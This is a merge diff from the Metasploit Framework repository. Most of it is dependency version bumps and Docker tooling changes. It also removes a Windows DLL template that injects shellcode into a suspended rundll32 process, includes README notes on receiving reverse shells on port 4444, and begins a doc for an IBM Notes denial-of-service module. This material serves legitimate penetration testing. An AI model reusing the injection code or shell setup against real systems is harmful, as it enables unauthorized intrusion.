Merge branch 'upstream-master' into land-9126-
commit
1653e31f71
|
@ -34,7 +34,7 @@ config/database.yml
|
||||||
# target config file for testing
|
# target config file for testing
|
||||||
features/support/targets.yml
|
features/support/targets.yml
|
||||||
# simplecov coverage data
|
# simplecov coverage data
|
||||||
coverage
|
coverage/
|
||||||
doc/
|
doc/
|
||||||
external/source/meterpreter/java/bin
|
external/source/meterpreter/java/bin
|
||||||
external/source/meterpreter/java/build
|
external/source/meterpreter/java/build
|
||||||
|
|
|
@ -88,6 +88,7 @@ data/meterpreter/ext_server_pivot.*.dll
|
||||||
|
|
||||||
# local docker compose overrides
|
# local docker compose overrides
|
||||||
docker-compose.local*
|
docker-compose.local*
|
||||||
|
.env
|
||||||
|
|
||||||
# Ignore python bytecode
|
# Ignore python bytecode
|
||||||
*.pyc
|
*.pyc
|
||||||
|
|
|
@ -25,7 +25,7 @@ matrix:
|
||||||
jobs:
|
jobs:
|
||||||
# build docker image
|
# build docker image
|
||||||
include:
|
include:
|
||||||
- env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build" DOCKER="true"
|
- env: CMD="docker-compose build" DOCKER="true"
|
||||||
# we do not need any setup
|
# we do not need any setup
|
||||||
before_install: skip
|
before_install: skip
|
||||||
install: skip
|
install: skip
|
||||||
|
|
11
Dockerfile
11
Dockerfile
|
@ -1,14 +1,17 @@
|
||||||
FROM ruby:2.4.2-alpine
|
FROM ruby:2.4.2-alpine
|
||||||
MAINTAINER Rapid7
|
LABEL maintainer="Rapid7"
|
||||||
|
|
||||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||||
ENV APP_HOME /usr/src/metasploit-framework/
|
ENV APP_HOME /usr/src/metasploit-framework/
|
||||||
ENV MSF_USER msf
|
ENV MSF_USER msf
|
||||||
ENV NMAP_PRIVILEGED=""
|
ENV NMAP_PRIVILEGED=""
|
||||||
|
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||||
WORKDIR $APP_HOME
|
WORKDIR $APP_HOME
|
||||||
|
|
||||||
COPY Gemfile* m* Rakefile $APP_HOME
|
COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME
|
||||||
COPY lib $APP_HOME/lib
|
COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/version.rb
|
||||||
|
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
|
||||||
|
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||||
|
|
||||||
RUN apk update && \
|
RUN apk update && \
|
||||||
apk add \
|
apk add \
|
||||||
|
@ -45,7 +48,7 @@ RUN apk update && \
|
||||||
RUN adduser -g msfconsole -D $MSF_USER
|
RUN adduser -g msfconsole -D $MSF_USER
|
||||||
|
|
||||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip /usr/bin/nmap
|
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||||
|
|
||||||
USER $MSF_USER
|
USER $MSF_USER
|
||||||
|
|
||||||
|
|
66
Gemfile.lock
66
Gemfile.lock
|
@ -1,7 +1,7 @@
|
||||||
PATH
|
PATH
|
||||||
remote: .
|
remote: .
|
||||||
specs:
|
specs:
|
||||||
metasploit-framework (4.16.13)
|
metasploit-framework (4.16.23)
|
||||||
actionpack (~> 4.2.6)
|
actionpack (~> 4.2.6)
|
||||||
activerecord (~> 4.2.6)
|
activerecord (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
|
@ -17,9 +17,9 @@ PATH
|
||||||
metasploit-concern
|
metasploit-concern
|
||||||
metasploit-credential
|
metasploit-credential
|
||||||
metasploit-model
|
metasploit-model
|
||||||
metasploit-payloads (= 1.3.11)
|
metasploit-payloads (= 1.3.18)
|
||||||
metasploit_data_models
|
metasploit_data_models
|
||||||
metasploit_payloads-mettle (= 0.2.2)
|
metasploit_payloads-mettle (= 0.2.8)
|
||||||
msgpack
|
msgpack
|
||||||
nessus_rest
|
nessus_rest
|
||||||
net-ssh
|
net-ssh
|
||||||
|
@ -49,7 +49,7 @@ PATH
|
||||||
rex-mime
|
rex-mime
|
||||||
rex-nop
|
rex-nop
|
||||||
rex-ole
|
rex-ole
|
||||||
rex-powershell (< 0.1.73)
|
rex-powershell (< 0.1.78)
|
||||||
rex-random_identifier
|
rex-random_identifier
|
||||||
rex-registry
|
rex-registry
|
||||||
rex-rop_builder
|
rex-rop_builder
|
||||||
|
@ -112,43 +112,43 @@ GEM
|
||||||
builder (3.2.3)
|
builder (3.2.3)
|
||||||
coderay (1.1.2)
|
coderay (1.1.2)
|
||||||
concurrent-ruby (1.0.5)
|
concurrent-ruby (1.0.5)
|
||||||
crass (1.0.2)
|
crass (1.0.3)
|
||||||
diff-lcs (1.3)
|
diff-lcs (1.3)
|
||||||
dnsruby (1.60.2)
|
dnsruby (1.60.2)
|
||||||
docile (1.1.5)
|
docile (1.1.5)
|
||||||
erubis (2.7.0)
|
erubis (2.7.0)
|
||||||
factory_girl (4.8.1)
|
factory_girl (4.9.0)
|
||||||
activesupport (>= 3.0.0)
|
activesupport (>= 3.0.0)
|
||||||
factory_girl_rails (4.8.0)
|
factory_girl_rails (4.9.0)
|
||||||
factory_girl (~> 4.8.0)
|
factory_girl (~> 4.9.0)
|
||||||
railties (>= 3.0.0)
|
railties (>= 3.0.0)
|
||||||
faraday (0.13.1)
|
faraday (0.13.1)
|
||||||
multipart-post (>= 1.2, < 3)
|
multipart-post (>= 1.2, < 3)
|
||||||
ffi (1.9.18)
|
ffi (1.9.18)
|
||||||
filesize (0.1.1)
|
filesize (0.1.1)
|
||||||
fivemat (1.3.5)
|
fivemat (1.3.5)
|
||||||
google-protobuf (3.4.1.1)
|
google-protobuf (3.5.0)
|
||||||
googleapis-common-protos-types (1.0.0)
|
googleapis-common-protos-types (1.0.1)
|
||||||
google-protobuf (~> 3.0)
|
google-protobuf (~> 3.0)
|
||||||
googleauth (0.5.3)
|
googleauth (0.6.2)
|
||||||
faraday (~> 0.12)
|
faraday (~> 0.12)
|
||||||
jwt (~> 1.4)
|
jwt (>= 1.4, < 3.0)
|
||||||
logging (~> 2.0)
|
logging (~> 2.0)
|
||||||
memoist (~> 0.12)
|
memoist (~> 0.12)
|
||||||
multi_json (~> 1.11)
|
multi_json (~> 1.11)
|
||||||
os (~> 0.9)
|
os (~> 0.9)
|
||||||
signet (~> 0.7)
|
signet (~> 0.7)
|
||||||
grpc (1.6.7)
|
grpc (1.7.3)
|
||||||
google-protobuf (~> 3.1)
|
google-protobuf (~> 3.1)
|
||||||
googleapis-common-protos-types (~> 1.0.0)
|
googleapis-common-protos-types (~> 1.0.0)
|
||||||
googleauth (~> 0.5.1)
|
googleauth (>= 0.5.1, < 0.7)
|
||||||
hashery (2.1.2)
|
hashery (2.1.2)
|
||||||
i18n (0.9.0)
|
i18n (0.9.1)
|
||||||
concurrent-ruby (~> 1.0)
|
concurrent-ruby (~> 1.0)
|
||||||
jsobfu (0.4.2)
|
jsobfu (0.4.2)
|
||||||
rkelly-remix
|
rkelly-remix
|
||||||
json (2.1.0)
|
json (2.1.0)
|
||||||
jwt (1.5.6)
|
jwt (2.1.0)
|
||||||
little-plugger (1.1.4)
|
little-plugger (1.1.4)
|
||||||
logging (2.2.2)
|
logging (2.2.2)
|
||||||
little-plugger (~> 1.1)
|
little-plugger (~> 1.1)
|
||||||
|
@ -178,7 +178,7 @@ GEM
|
||||||
activemodel (~> 4.2.6)
|
activemodel (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
railties (~> 4.2.6)
|
railties (~> 4.2.6)
|
||||||
metasploit-payloads (1.3.11)
|
metasploit-payloads (1.3.18)
|
||||||
metasploit_data_models (2.0.15)
|
metasploit_data_models (2.0.15)
|
||||||
activerecord (~> 4.2.6)
|
activerecord (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
|
@ -189,11 +189,11 @@ GEM
|
||||||
postgres_ext
|
postgres_ext
|
||||||
railties (~> 4.2.6)
|
railties (~> 4.2.6)
|
||||||
recog (~> 2.0)
|
recog (~> 2.0)
|
||||||
metasploit_payloads-mettle (0.2.2)
|
metasploit_payloads-mettle (0.2.8)
|
||||||
method_source (0.9.0)
|
method_source (0.9.0)
|
||||||
mini_portile2 (2.3.0)
|
mini_portile2 (2.3.0)
|
||||||
minitest (5.10.3)
|
minitest (5.10.3)
|
||||||
msgpack (1.1.0)
|
msgpack (1.2.0)
|
||||||
multi_json (1.12.2)
|
multi_json (1.12.2)
|
||||||
multipart-post (2.0.0)
|
multipart-post (2.0.0)
|
||||||
nessus_rest (0.1.6)
|
nessus_rest (0.1.6)
|
||||||
|
@ -223,10 +223,10 @@ GEM
|
||||||
activerecord (>= 4.0.0)
|
activerecord (>= 4.0.0)
|
||||||
arel (>= 4.0.1)
|
arel (>= 4.0.1)
|
||||||
pg_array_parser (~> 0.0.9)
|
pg_array_parser (~> 0.0.9)
|
||||||
pry (0.11.2)
|
pry (0.11.3)
|
||||||
coderay (~> 1.1.0)
|
coderay (~> 1.1.0)
|
||||||
method_source (~> 0.9.0)
|
method_source (~> 0.9.0)
|
||||||
public_suffix (3.0.0)
|
public_suffix (3.0.1)
|
||||||
rack (1.6.8)
|
rack (1.6.8)
|
||||||
rack-test (0.6.3)
|
rack-test (0.6.3)
|
||||||
rack (>= 1.0)
|
rack (>= 1.0)
|
||||||
|
@ -243,16 +243,16 @@ GEM
|
||||||
activesupport (= 4.2.10)
|
activesupport (= 4.2.10)
|
||||||
rake (>= 0.8.7)
|
rake (>= 0.8.7)
|
||||||
thor (>= 0.18.1, < 2.0)
|
thor (>= 0.18.1, < 2.0)
|
||||||
rake (12.1.0)
|
rake (12.3.0)
|
||||||
rb-readline (0.5.5)
|
rb-readline (0.5.5)
|
||||||
rbnacl (4.0.2)
|
rbnacl (4.0.2)
|
||||||
ffi
|
ffi
|
||||||
rbnacl-libsodium (1.0.13)
|
rbnacl-libsodium (1.0.15.1)
|
||||||
rbnacl (>= 3.0.1)
|
rbnacl (>= 3.0.1)
|
||||||
recog (2.1.15)
|
recog (2.1.17)
|
||||||
nokogiri
|
nokogiri
|
||||||
redcarpet (3.4.0)
|
redcarpet (3.4.0)
|
||||||
rex-arch (0.1.11)
|
rex-arch (0.1.13)
|
||||||
rex-text
|
rex-text
|
||||||
rex-bin_tools (0.1.4)
|
rex-bin_tools (0.1.4)
|
||||||
metasm
|
metasm
|
||||||
|
@ -265,7 +265,7 @@ GEM
|
||||||
metasm
|
metasm
|
||||||
rex-arch
|
rex-arch
|
||||||
rex-text
|
rex-text
|
||||||
rex-exploitation (0.1.15)
|
rex-exploitation (0.1.16)
|
||||||
jsobfu
|
jsobfu
|
||||||
metasm
|
metasm
|
||||||
rex-arch
|
rex-arch
|
||||||
|
@ -278,7 +278,7 @@ GEM
|
||||||
rex-arch
|
rex-arch
|
||||||
rex-ole (0.1.6)
|
rex-ole (0.1.6)
|
||||||
rex-text
|
rex-text
|
||||||
rex-powershell (0.1.72)
|
rex-powershell (0.1.77)
|
||||||
rex-random_identifier
|
rex-random_identifier
|
||||||
rex-text
|
rex-text
|
||||||
rex-random_identifier (0.1.4)
|
rex-random_identifier (0.1.4)
|
||||||
|
@ -288,7 +288,7 @@ GEM
|
||||||
metasm
|
metasm
|
||||||
rex-core
|
rex-core
|
||||||
rex-text
|
rex-text
|
||||||
rex-socket (0.1.8)
|
rex-socket (0.1.9)
|
||||||
rex-core
|
rex-core
|
||||||
rex-sslscan (0.1.5)
|
rex-sslscan (0.1.5)
|
||||||
rex-core
|
rex-core
|
||||||
|
@ -311,7 +311,7 @@ GEM
|
||||||
rspec-mocks (3.7.0)
|
rspec-mocks (3.7.0)
|
||||||
diff-lcs (>= 1.2.0, < 2.0)
|
diff-lcs (>= 1.2.0, < 2.0)
|
||||||
rspec-support (~> 3.7.0)
|
rspec-support (~> 3.7.0)
|
||||||
rspec-rails (3.7.1)
|
rspec-rails (3.7.2)
|
||||||
actionpack (>= 3.0)
|
actionpack (>= 3.0)
|
||||||
activesupport (>= 3.0)
|
activesupport (>= 3.0)
|
||||||
railties (>= 3.0)
|
railties (>= 3.0)
|
||||||
|
@ -348,16 +348,16 @@ GEM
|
||||||
thread_safe (0.3.6)
|
thread_safe (0.3.6)
|
||||||
timecop (0.9.1)
|
timecop (0.9.1)
|
||||||
ttfunk (1.5.1)
|
ttfunk (1.5.1)
|
||||||
tzinfo (1.2.3)
|
tzinfo (1.2.4)
|
||||||
thread_safe (~> 0.1)
|
thread_safe (~> 0.1)
|
||||||
tzinfo-data (1.2017.2)
|
tzinfo-data (1.2017.3)
|
||||||
tzinfo (>= 1.0.0)
|
tzinfo (>= 1.0.0)
|
||||||
windows_error (0.1.2)
|
windows_error (0.1.2)
|
||||||
xdr (2.0.0)
|
xdr (2.0.0)
|
||||||
activemodel (>= 4.2.7)
|
activemodel (>= 4.2.7)
|
||||||
activesupport (>= 4.2.7)
|
activesupport (>= 4.2.7)
|
||||||
xmlrpc (0.3.0)
|
xmlrpc (0.3.0)
|
||||||
yard (0.9.9)
|
yard (0.9.12)
|
||||||
|
|
||||||
PLATFORMS
|
PLATFORMS
|
||||||
ruby
|
ruby
|
||||||
|
@ -378,4 +378,4 @@ DEPENDENCIES
|
||||||
yard
|
yard
|
||||||
|
|
||||||
BUNDLED WITH
|
BUNDLED WITH
|
||||||
1.15.4
|
1.16.0
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework)
|
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||||
==
|
==
|
||||||
The Metasploit Framework is released under a BSD-style license. See
|
The Metasploit Framework is released under a BSD-style license. See
|
||||||
COPYING for more details.
|
COPYING for more details.
|
||||||
|
|
|
@ -1,15 +0,0 @@
|
||||||
#!/bin/sh
|
|
||||||
rm -f *.o *.dll
|
|
||||||
|
|
||||||
CCx86="i686-w64-mingw32"
|
|
||||||
CCx64="x86_64-w64-mingw32"
|
|
||||||
|
|
||||||
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
|
|
||||||
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
|
|
||||||
${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
|
|
||||||
rm -f temp.dll *.o
|
|
||||||
|
|
||||||
${CCx86}-gcc -c -Os template.c -Wall -shared
|
|
||||||
${CCx86}-dllwrap --def template.def *.o -o temp.dll
|
|
||||||
${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
|
|
||||||
rm -f temp.dll *.o
|
|
|
@ -1,95 +0,0 @@
|
||||||
// Based on https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/data/templates/src/pe/dll
|
|
||||||
// - removed ExitThread(0) to prevent an Explorer crash
|
|
||||||
// - added Mutex to prevent invoking payload multiple times (at least try)
|
|
||||||
#include <windows.h>
|
|
||||||
#include "template.h"
|
|
||||||
|
|
||||||
void inline_bzero(void *p, size_t l)
|
|
||||||
{
|
|
||||||
BYTE *q = (BYTE *)p;
|
|
||||||
size_t x = 0;
|
|
||||||
for (x = 0; x < l; x++)
|
|
||||||
*(q++) = 0x00;
|
|
||||||
}
|
|
||||||
|
|
||||||
void ExecutePayload(void);
|
|
||||||
|
|
||||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
|
||||||
{
|
|
||||||
switch (dwReason)
|
|
||||||
{
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
ExecutePayload();
|
|
||||||
break;
|
|
||||||
|
|
||||||
case DLL_PROCESS_DETACH:
|
|
||||||
break;
|
|
||||||
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
break;
|
|
||||||
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
void ExecutePayload(void)
|
|
||||||
{
|
|
||||||
PROCESS_INFORMATION pi;
|
|
||||||
STARTUPINFO si;
|
|
||||||
CONTEXT ctx;
|
|
||||||
LPVOID ep;
|
|
||||||
HANDLE hMutex;
|
|
||||||
SECURITY_ATTRIBUTES MutexAttributes;
|
|
||||||
|
|
||||||
inline_bzero(&MutexAttributes, sizeof(MutexAttributes));
|
|
||||||
MutexAttributes.nLength = sizeof(MutexAttributes);
|
|
||||||
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
|
|
||||||
hMutex = CreateMutex(&MutexAttributes, TRUE, "MsfMutex");
|
|
||||||
if(hMutex == NULL)
|
|
||||||
{
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(GetLastError() == ERROR_ALREADY_EXISTS)
|
|
||||||
{
|
|
||||||
CloseHandle(hMutex);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(GetLastError() == ERROR_ACCESS_DENIED)
|
|
||||||
{
|
|
||||||
CloseHandle(hMutex);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Start up the payload in a new process
|
|
||||||
inline_bzero(&si, sizeof(si));
|
|
||||||
si.cb = sizeof(si);
|
|
||||||
|
|
||||||
// Create a suspended process, write shellcode into stack, resume it
|
|
||||||
if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
|
||||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
|
||||||
GetThreadContext(pi.hThread, &ctx);
|
|
||||||
|
|
||||||
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
||||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
|
||||||
|
|
||||||
#ifdef _WIN64
|
|
||||||
ctx.Rip = (DWORD64)ep;
|
|
||||||
#else
|
|
||||||
ctx.Eip = (DWORD)ep;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
SetThreadContext(pi.hThread, &ctx);
|
|
||||||
ResumeThread(pi.hThread);
|
|
||||||
|
|
||||||
CloseHandle(pi.hThread);
|
|
||||||
CloseHandle(pi.hProcess);
|
|
||||||
}
|
|
||||||
|
|
||||||
CloseHandle(hMutex);
|
|
||||||
}
|
|
||||||
|
|
|
@ -1,3 +0,0 @@
|
||||||
#define SCSIZE 2048
|
|
||||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -1,13 +1,14 @@
|
||||||
version: '2'
|
version: '3'
|
||||||
|
|
||||||
services:
|
services:
|
||||||
ms:
|
ms:
|
||||||
build:
|
build:
|
||||||
|
context: .
|
||||||
|
dockerfile: ./Dockerfile
|
||||||
args:
|
args:
|
||||||
BUNDLER_ARGS: --jobs=8
|
BUNDLER_ARGS: --jobs=8
|
||||||
image: metasploit:dev
|
image: metasploit:dev
|
||||||
environment:
|
environment:
|
||||||
DATABASE_URL: postgres://postgres@db:5432/msf_dev
|
DATABASE_URL: postgres://postgres@db:5432/msf_dev
|
||||||
|
|
||||||
volumes:
|
volumes:
|
||||||
- .:/usr/src/metasploit-framework
|
- .:/usr/src/metasploit-framework
|
|
@ -1,10 +1,7 @@
|
||||||
version: '2'
|
version: '3'
|
||||||
services:
|
services:
|
||||||
ms:
|
ms:
|
||||||
image: metasploit
|
image: metasploitframework/metasploit-framework:latest
|
||||||
build:
|
|
||||||
context: .
|
|
||||||
dockerfile: ./Dockerfile
|
|
||||||
environment:
|
environment:
|
||||||
DATABASE_URL: postgres://postgres@db:5432/msf
|
DATABASE_URL: postgres://postgres@db:5432/msf
|
||||||
links:
|
links:
|
||||||
|
@ -16,7 +13,7 @@ services:
|
||||||
- /etc/localtime:/etc/localtime:ro
|
- /etc/localtime:/etc/localtime:ro
|
||||||
|
|
||||||
db:
|
db:
|
||||||
image: postgres:9-alpine
|
image: postgres:10-alpine
|
||||||
volumes:
|
volumes:
|
||||||
- pg_data:/var/lib/postgresql/data
|
- pg_data:/var/lib/postgresql/data
|
||||||
|
|
||||||
|
|
|
@ -3,43 +3,36 @@
|
||||||
|
|
||||||
To run `msfconsole`
|
To run `msfconsole`
|
||||||
```bash
|
```bash
|
||||||
|
docker-compose build
|
||||||
docker-compose run --rm --service-ports ms
|
docker-compose run --rm --service-ports ms
|
||||||
```
|
```
|
||||||
|
or
|
||||||
|
```bash
|
||||||
|
./docker/bin/msfconsole
|
||||||
|
```
|
||||||
|
|
||||||
To run `msfvenom`
|
To run `msfvenom`
|
||||||
```bash
|
```bash
|
||||||
docker-compose run --rm ms ./msfvenom
|
docker-compose build
|
||||||
|
docker-compose run --rm --no-deps ms ./msfvenom
|
||||||
```
|
```
|
||||||
|
or
|
||||||
### I don't like typing `docker-compose --rm ...`
|
|
||||||
|
|
||||||
We have included some binstubs `./bin`, you can symlink them to your path.
|
|
||||||
|
|
||||||
Assuming you have `$HOME/bin`, and it's in your `$PATH`. You can run this from the project root:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ln -s `pwd`/docker/bin/msfconsole $HOME/bin/
|
./docker/bin/msfvenom
|
||||||
ln -s `pwd`/docker/bin/msfvenom $HOME/bin/
|
|
||||||
```
|
```
|
||||||
|
|
||||||
If you set the environment variable `MSF_BUILD` the container will be rebuilt.
|
You can pass any command line arguments to the binstubs or the docker-compose command and they will be passed to `msfconsole` or `msfvenom`. If you need to rebuild an image (for example when the Gemfile changes) you need to build the docker image using `docker-compose build` or supply the `--rebuild` parameter to the binstubs.
|
||||||
|
|
||||||
```bash
|
|
||||||
MSF_BUILD=1 ./docker/bin/msfconsole
|
|
||||||
MSF_BUILD=1 ./docker/bin/msfconsole-dev
|
|
||||||
```
|
|
||||||
|
|
||||||
### But I want reverse shells...
|
### But I want reverse shells...
|
||||||
|
|
||||||
By default we expose port `4444`. You'll need to set `LHOST` to be a hostname/ip
|
By default we expose port `4444`.
|
||||||
of your host machine.
|
|
||||||
|
|
||||||
If you want to expose more ports, or have `LHOST` prepopulated with a specific
|
If you want to expose more ports, or have `LHOST` prepopulated with a specific
|
||||||
value; you'll need to setup a local docker-compose override for this.
|
value; you'll need to setup a local docker-compose override for this.
|
||||||
|
|
||||||
Create `docker/docker-compose.local.override.yml` with:
|
Create `docker-compose.local.override.yml` with:
|
||||||
```yml
|
```yml
|
||||||
version: '2'
|
version: '3'
|
||||||
services:
|
services:
|
||||||
ms:
|
ms:
|
||||||
environment:
|
environment:
|
||||||
|
@ -56,19 +49,6 @@ Now you need to set the `COMPOSE_FILE` environment variable to load your local
|
||||||
override.
|
override.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.local.override.yml" >> .env
|
echo "COMPOSE_FILE=./docker-compose.yml:./docker-compose.override.yml:./docker-compose.local.override.yml" >> .env
|
||||||
```
|
```
|
||||||
Now you should be able get reverse shells working
|
Now you should be able get reverse shells working
|
||||||
|
|
||||||
## Developing
|
|
||||||
|
|
||||||
To setup you environment for development, you need to add `docker/docker-compose.development.override.yml`
|
|
||||||
to your `COMPOSE_FILE` environment variable.
|
|
||||||
|
|
||||||
If you don't have a `COMPOSE_FILE` environment variable, you can set it up with this:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.development.override.yml" >> .env
|
|
||||||
```
|
|
||||||
|
|
||||||
Alternatively you can also use the `msfconsole-dev` binstub.
|
|
||||||
|
|
|
@ -19,8 +19,12 @@ fi
|
||||||
|
|
||||||
cd $MSF_PATH
|
cd $MSF_PATH
|
||||||
|
|
||||||
if [[ -n "$MSF_BUILD" ]]; then
|
PARAMS="$@"
|
||||||
docker-compose -f $MSF_PATH/docker-compose.yml build
|
|
||||||
|
if [[ $PARAMS == *"--rebuild"* ]]; then
|
||||||
|
echo "Rebuilding image"
|
||||||
|
docker-compose build
|
||||||
|
exit $?
|
||||||
fi
|
fi
|
||||||
|
|
||||||
docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@"
|
docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$PARAMS"
|
||||||
|
|
|
@ -1,27 +0,0 @@
|
||||||
#! /bin/bash
|
|
||||||
|
|
||||||
if [[ -z "$MSF_PATH" ]]; then
|
|
||||||
path=`dirname $0`
|
|
||||||
|
|
||||||
# check for ./docker/msfconsole.rc
|
|
||||||
if [[ ! -f $path/../msfconsole.rc ]] ; then
|
|
||||||
|
|
||||||
# we are not inside the project
|
|
||||||
realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
|
|
||||||
|
|
||||||
# determine script path
|
|
||||||
pushd $(dirname $(realpath $0)) > /dev/null
|
|
||||||
path=$(pwd)
|
|
||||||
popd > /dev/null
|
|
||||||
fi
|
|
||||||
MSF_PATH=$(dirname $(dirname $path))
|
|
||||||
fi
|
|
||||||
|
|
||||||
cd $MSF_PATH
|
|
||||||
|
|
||||||
if [[ -n "$MSF_BUILD" ]]; then
|
|
||||||
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml build
|
|
||||||
fi
|
|
||||||
|
|
||||||
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@"
|
|
||||||
|
|
|
@ -17,9 +17,15 @@ if [[ -z "$MSF_PATH" ]]; then
|
||||||
MSF_PATH=$(dirname $(dirname $path))
|
MSF_PATH=$(dirname $(dirname $path))
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [[ -n "$MSF_BUILD" ]]; then
|
cd $MSF_PATH
|
||||||
docker-compose -f $MSF_PATH/docker-compose.yml build
|
|
||||||
|
PARAMS="$@"
|
||||||
|
|
||||||
|
if [[ $PARAMS == *"--rebuild"* ]]; then
|
||||||
|
echo "Rebuilding image"
|
||||||
|
docker-compose build
|
||||||
|
exit $?
|
||||||
fi
|
fi
|
||||||
|
|
||||||
cd $MSF_PATH
|
# we need no database here
|
||||||
docker-compose run --rm --service-ports ms ./msfvenom "$@"
|
docker-compose run --rm --no-deps ms ./msfvenom "$PARAMS"
|
||||||
|
|
|
@ -1,26 +0,0 @@
|
||||||
#! /bin/bash
|
|
||||||
|
|
||||||
if [[ -z "$MSF_PATH" ]]; then
|
|
||||||
path=`dirname $0`
|
|
||||||
|
|
||||||
# check for ./docker/msfconsole.rc
|
|
||||||
if [[ ! -f $path/../msfconsole.rc ]] ; then
|
|
||||||
|
|
||||||
# we are not inside the project
|
|
||||||
realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
|
|
||||||
|
|
||||||
# determine script path
|
|
||||||
pushd $(dirname $(realpath $0)) > /dev/null
|
|
||||||
path=$(pwd)
|
|
||||||
popd > /dev/null
|
|
||||||
fi
|
|
||||||
MSF_PATH=$(dirname $(dirname $path))
|
|
||||||
fi
|
|
||||||
|
|
||||||
cd $MSF_PATH
|
|
||||||
|
|
||||||
if [[ -n "$MSF_BUILD" ]]; then
|
|
||||||
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml build
|
|
||||||
fi
|
|
||||||
|
|
||||||
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml run --rm --service-ports ms ./msfvenom "$@"
|
|
|
@ -0,0 +1,67 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
This module exploits a vulnerability in the built-in web-browser of IBM Lotus Notes client application.
|
||||||
|
|
||||||
|
If a user is persuaded to click on a malicious link, it would open up many file select dialog boxes which,
|
||||||
|
would cause the client hang and have to be restarted.
|
||||||
|
|
||||||
|
Affected Products and Versions
|
||||||
|
|
||||||
|
IBM Notes 9.0.1 to 9.0.1 FP8 IF1
|
||||||
|
IBM Notes 9.0 to 9.0 IF4.
|
||||||
|
IBM Notes 8.5.3 to 8.5.3 FP6 IF13.
|
||||||
|
IBM Notes 8.5.2 to 8.5.2 FP4 IF3.
|
||||||
|
IBM Notes 8.5.1. to 8.5.1 FP5 IF5.
|
||||||
|
IBM Notes 8.5 release
|
||||||
|
|
||||||
|
Related security bulletin from IBM: http://www-01.ibm.com/support/docview.wss?uid=swg21999384
|
||||||
|
|
||||||
|
## Verification
|
||||||
|
|
||||||
|
Start msfconsole
|
||||||
|
|
||||||
|
